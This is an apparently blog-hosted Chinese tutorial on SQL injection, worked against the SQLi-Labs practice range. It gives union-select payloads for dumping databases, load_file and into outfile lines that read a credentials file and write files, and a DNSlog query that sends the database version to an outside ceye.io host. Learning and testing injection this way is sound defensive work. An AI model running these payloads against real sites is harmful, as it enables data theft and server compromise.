《Web安全基础》03. SQL 注入

web


本系列侧重方法论,各工具只是实现目标的载体。

命令与工具只做简单介绍,其使用另见《安全工具录》。
靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》

1:简要 SQL 注入

SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利用,挖掘,修复也很重要。

SQL 注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到 sql 语句中,被当作 sql 语句的一部分进行执行,从而导致数据泄露、丢失甚至服务器瘫痪。

常见的 sql 注入产生原因:

  • 转义字符处理不合适
  • 不安全的数据库配置
  • 不合理的查询集处理
  • 不当的错误处理
  • 多个提交处理不当

注入判断:

bash 复制代码
1、逻辑值
and 1 = 1		页面正常
and 1 = 2		页面异常
则可能存在注入点

2、order by
通过 order by 判断注入的字段数

2:MySQL 注入

SQL 注入思路都差不多,这里主要以 MySQL 为例。

2.1:信息获取

bash 复制代码
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

在 mysql5.0 以上版本存在 information_schema 数据库,记录着所有的数据库,表名,列名。

bash 复制代码
information_schema.tables     # 记录所有的表名
information_schema.columns    # 记录所有的列名
table_name                    # 表名
column_name                   # 列名
table_schema                  # 数据库名

本节示例见 SQLi-Labs Less-1。

2.2:跨库攻击

常见的数据库与用户的对应关系:

bash 复制代码
数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据
数据库用户B - 数据库B - 网站B --> 表名 --> 列名 --> 数据
数据库用户C - 数据库C - 网站C --> 表名 --> 列名 --> 数据

这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰

这是最基础的数据库模型,现在大网站都是分布式数据库。

跨库查询的前提条件是必须高权限的用户才能执行跨库查询。

跨库攻击,以 Less-2 示例:

bash 复制代码
# 获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

# 获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'

获取指定 qqyw 下的表名 admin 下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'

获取指定 qqyw 下的 admin 数据
union select 1,u,p,4 from qqyw.admin

2.3:文件读写

获取的数据库权限会影响下一步测试思路。

高权限直接测试。

低权限就一步一步获取数据。

文件读写操作:

  • load_file():文件读取函数
  • into outfileinto dumpfile:文件写入、导出

获取路径的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

MySQL 查询是否有写入权限:
show global variables like '%secure_file_priv%';

读取本地文件示例:

bash 复制代码
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3

本地文件写入示例:

bash 复制代码
http://127.0.0.1:8888/Less-2/?id=-1 union select 1, 'test' ,3 into outfile 'E:\\test.txt' --+

2.4:常见防护

魔术引号:magic_quotes_gpc

当 magic_quotes_gpc = On 时,输入数据中含单引号(')、双引号(")、反斜线(\)与 NULL(NULL 字符)等字符,都会加上转义符号(\)。

自定义防护:例如 PHP 中的判断输入是否是 int 型数据:is_int() 函数,这种就无法绕过。

3:注入方法

具体示例见 SQLi-Labs。

3.1:类型方法明确

在真实 SQL 注入安全测试中,一定要明确提交数据类型及提交方法后再进行注入。

明确参数类型:数字、字符、JSON 等。

明确接受的请求方法:GET、POST、COOKIE、REQUEST、HTTP 头等。

sql 语句干扰符号:'、"、、)、} 等,具体需看写法。

3.2:盲注

进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是 SQL 语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。

手工注入时,提前了解或预知其 SQL 语句大概写法也能更好的选择对应的注入语句。

可以通过查询方式与 SQL 的关系注入点产生的地方猜测到 SQL 查询方式。

涉及的 SQL 语句:

select:查询数据,在网站应用中进行数据显示查询操作。

insert:插入数据,在网站应用中进行用户注册添加等操作。

delete:删除数据,后台管理里面删除文章删除用户等操作。

update:更新数据,会员或后台中心数据同步或缓存等操作。

order by:数据排序,一般结合表名或列名进行数据排序操作。

在注入过程中,获取的数据不能回显至前端页面。此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注

盲注分为以下三类:

  • 基于布尔的 SQL 盲注:逻辑判断。
  • 基于时间的 SQL 盲注:延时判断。
  • 基于报错的 SQL 盲注:报错回显。

具体示例见 SQLi-Labs。

参考文章:
12种报错注入+万能语句
sql报错注入:extractvalue、updatexml报错原理
Order by排序注入方法小总结

3.3:编码

一些变量值在传递时会先编码或加密(如 base64 等)。这时手工注入就要先把传递值进行相应编码或加密。

例如 admin' and 1=1 base64 编码后的值是 YWRtaW4nIGFuZCAxPTE=

实际案例:SQLi-Labs-Less21:cookie&base64编码注入

一个简单的 base64 编码脚本:

php 复制代码
<?php
	$url='http://xxxx/Less-1/index.php?id=;
	$payload=base64_encode($_GET['x']);
	$urls=$url.$payload;
	file_get_contents($urls);
	echo $urls;
?>

3.4:二次注入

二次注入一般用于白盒测试,黑盒测试就算找到注入点也没办法攻击。

以 SQLi-Labs-Less24 为例:注册 admin'# 这样一个用户。

此时修改 admin'# 用户的密码就能把 admin 用户的密码修改。

3.5:DNSlog 注入

DNSlog 盲注仅限于 windos 环境。能优化无回显问题。

相关资源:http://ceye.io

示例:

sql 复制代码
select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);

参考文章:https://www.cnblogs.com/xhds/p/12322839.html

3.6:堆叠注入

在 MySQL 中,每一条语句结尾加【;】表示语句结束。

堆叠注入(stacked injection)就是多个语句连接到一起执行的注入。

应用场景:

  • 注入需要管理员帐号密码,密码是加密,无法解密
  • 堆叠注入时插入数据,用户密码自定义,可以正常解密登录

参考文章:堆叠注入详解

4:WAF 绕过

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便灵活构造 Payload,从而和各种 WAF 进行对抗。

4.1:WAF 简介

简要来说,WAF 有以下功能:

  • 内容审计

    截获所有 HTTP 数据或不满足某些规则的会话

  • 访问控制

    控制对 Web 应用的访问,包括主动安全模式和被动安全模式

  • 架构 / 网络设计

    运行反向代理模式时,用来分配职能,集中控制,虚拟基础结构等

  • WEB 应用加固

    屏蔽 WEB 应用固有弱点,保护 WEB 应用编程错误导致的安全隐患。

WAF 的常见功能:

  • 异常检测协议:拒绝不符合 HTTP 标准的请求
  • 增强输入验证:代理和服务端的验证,而不只是限于客户端验证
  • 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题
  • 基于规则和异常的保护:基于规则,更多依赖黑名单机制;基于异常,更为灵活
  • 状态管理:进行重点会话保护
  • Cookies 保护
  • 抗入侵规避技术
  • 响应监视
  • 信息泄露保护

WAF 对扫描器防范手段:

  • 扫描器指纹:head字段、请求参数值等
  • 单 IP + cookie 某时间段内触发规则次数
  • 隐藏的链接标签等
  • Cookie 植入
  • 验证码验证
  • 单 IP 请求时间段内 WebServer 返回 http 404 状态比例:扫描器探测敏感目录基于字典,找不到文件则返回 404

4.2:绕过方法

参考文章:
SQL注入-WAF绕过
sqlmap超详细笔记+思维导图

5:其他数据库注入

5.1:Access

Access,关系型数据库。

Access 数据库比较特别,都是存放在网站目录下,后缀格式为 mdb ,常搭配脚本
aspasa,可以通过一些暴库手段、目录猜解等直接下载数据库。

结构:

bash 复制代码
Access -> 表名 -> 列名 -> 数据

注入方式:

union 注入、http header 注入、偏移注入等。

Access 偏移注入:解决列名获取不到的情况。

查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。

参考文章:Access偏移注入与原理

5.2:Sql Server

Microsoft SQL Server,也叫 MSSQL,关系型数据库。

注入方式和 MySQL 没什么两样。

参考文章:MSSQL注入

5.3:PostgreSQL

PostgreSQL,关系型数据库。

参考文章:PostGresql 注入知识汇总

5.4:Oracle

Oracle,关系型数据库。

参考文章:【实战】Oracle注入总结

5.5:MongoDB

MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库

  • 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用 JSON 传输。
  • tojson 函数可以输出 json 数据。

一个针对 MongoDB 注入的工具:NoSQLAttack


淡云孤雁远,寒日暮天红。

------《临江仙》(五代)徐昌图

相关推荐
ximy13351 小时前
Mysql基础知识之SQL语句——库表管理操作
sql·mysql·oracle
MrZhangBaby4 小时前
SQL-leetcode—3475. DNA 模式识别
数据库·sql·leetcode
码力引擎5 小时前
【零基础学MySQL】第二章:SQL类型
数据库·sql·mysql·oracle
jieyu11195 小时前
Python 实战:Web 漏洞 Python POC 代码及原理详解(2)
python·web安全
折翼的恶魔7 小时前
SQL 189 统计有未完成状态的试卷的未完成数和未完成率
数据库·sql
网硕互联的小客服9 小时前
SSD和HDD存储应该如何选择?
linux·运维·服务器·网络·安全
wanhengidc9 小时前
服务器在企业中的作用与价值
运维·服务器·arm开发·安全·智能手机·玩游戏
梦里不知身是客119 小时前
hive的SQL语句练习2
hive·hadoop·sql
梦里不知身是客119 小时前
hive的SQL练习3
hive·hadoop·sql
姚远Oracle ACE11 小时前
Oracle AWR 报告中的SQL来自哪儿?
数据库·sql·oracle